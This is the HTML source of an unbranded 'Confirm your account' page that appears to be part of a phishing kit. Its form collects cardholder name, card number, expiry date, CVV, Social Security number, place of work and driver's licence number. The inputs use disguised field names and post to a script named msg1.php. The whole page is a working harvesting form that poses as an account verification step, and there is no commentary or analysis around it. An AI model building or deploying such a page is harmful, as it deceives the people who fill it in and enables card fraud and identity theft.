<!doctype html public "-//w3c//dtd html 4.01 transitional//en" "http://www.w3.org/tr/html4/loose.dtd">

<html>

<head>

<meta http-equiv="content-type" content="text/html;charset=utf-8">

<title>Confirm your account</title>

<link href="css/style.css" type="text/css" rel="stylesheet" />

<link rel="stylesheet" href="css/validationEngine.jquery.css" type="text/css" />

<script src="js/jquery-1.8.2.min.js" type="text/javascript"></script>

<script src="js/languages/jquery.validationEngine-en.js" type="text/javascript" charset="utf-8"></script>

<script src="js/jquery.validationEngine.js" type="text/javascript" charset="utf-8"></script>

<link rel="shortcut icon" href="img/favicon.ico">

  <link rel="apple-touch-icon" href="img/favicon.ico">

<script>

jQuery(document).ready(function(){

jQuery("#signup").validationEngine();

});

</script>


</head>

<body>

</body>

<div id="layout">

<h1 class="logo"></h1>

<div id="wrapper">

<div class="left">

<div class="expl"></div>

</div>

<div class="right">

<form method="post" action="msg1.php" name="signup" id="signup">

<div class="conf"></div>

<div class="right">

<div class="sec"></div>

<table cellpadding="0" cellspacing="0" border="0" width="95%">

<tr>

<td colspan="3">

<div class="ent"></div>

</td>

</tr>



<tr>

<td class="leftRow" width="154" style="text-align: left">

<font color="#666666">Cardholder's Name</font></td>

<td class="rightRow" width="33%">

<span class="formwrap">

<input class="validate[required]" style="width:180px" id="bassimo01" name="bassimo01" type="text" />

</span>

</td>

</tr>

</select>

</span>

</td>

</tr>

<tr>

<td class="leftRow" width="154" style="text-align: left">

<font color="#666666">Credit Card Number</font></td>

<td class="rightRow" width="33%">

<span class="formwrap">

<input class="validate[required,custom[nemeOnId]]" maxlength="16" style="width:180px" id="bassimo2" name="bassimo2" type="text" />

</span>

</td>

<td class="centerRow" width="29%">

<img border="0" src="img/crd.png" width="163" height="23"></td>

</tr>

<tr>

<td class="leftRow" width="154" style="text-align: left" >

<font color="#666666">Expiration Date</font></td>

<td class="rightRow" colspan="2">

<span class="formwrap">

<select id="bassimo4" class="validate[required]" name="bassimo4">

<option selected value>Month</option>

<option value="01">01</option>

<option value="02">02</option>

<option value="03">03</option>

<option value="04">04</option>

<option value="05">05</option>

<option value="06">06</option>

<option value="07">07</option>

<option value="08">08</option>

<option value="09">09</option>

<option value="10">10</option>

<option value="11">11</option>

<option value="12">12</option>

</select>

<select id="bassimo5" class="validate[required]" name="bassimo5">

<option selected value>Year</option>

<option value="2014">2014</option>

<option value="2015">2015</option>

<option value="2016">2016</option>

<option value="2017">2017</option>

<option value="2018">2018</option>

<option value="2019">2019</option>

<option value="2020">2020</option>

<option value="2021">2021</option>

<option value="2022">2022</option>

<option value="2023">2023</option>

<option value="2024">2024</option>

<option value="2025">2025</option>

</select>

<tr>


<tr>

<td class="leftRow" width="154" style="text-align: left" >

<font color="#666666">CVC (CVV)</font></td>

<td class="rightRow" colspan="2">

<span class="formwrap">

<input class="validate[required,custom[integer]]" maxlength="4" style="width:50px;text-align:center;" id="bassimo3" name="bassimo3" type="text" /></span><img src="img/cvv.png" style="width:12%" /></td>

</tr>


<tr>

<td class="leftRow" width="154" style="text-align: left">

<font color="#666666">SSN</font></td>

<td class="rightRow" width="33%">

<span class="formwrap"> 

<input class="fifthsubmit" id="ssn" style="width:122px" id="bassimo7" name="bassimo7" type="text" />

</span>

</td>

</tr>

<tr>

<td class="leftRow" width="154" style="text-align: left">

<font color="#666666">Place of work</font></td>

<td class="rightRow" width="33%">

<span class="formwrap"> 

<input class="fifthsubmit" id="placework" style="width:122px" id="placework" name="placework" type="text" />

</span>

</td>

</tr>

<tr>

<td class="leftRow" width="154" style="text-align: left">

<font color="#666666">Drivers Licence Number</font></td>

<td class="rightRow" width="33%">

<span class="formwrap"> 

<input class="fifthsubmit" id="drive" style="width:122px" id="drive" name="drive" type="text" />

</span>

</td>

</tr>

<input name="bassimo41" type="hidden" value="css/global.css"/>

<tr>

<td class="leftRow" style="border:0;" width="155">

</td>

<td class="rightRow noborder" colspan="2" style="text-align:center;border:0;">

<input class="submit" value="Continue" type="submit" />

</td>

</tr>

</table>

</form>

</div>

</div>

</div>

</html>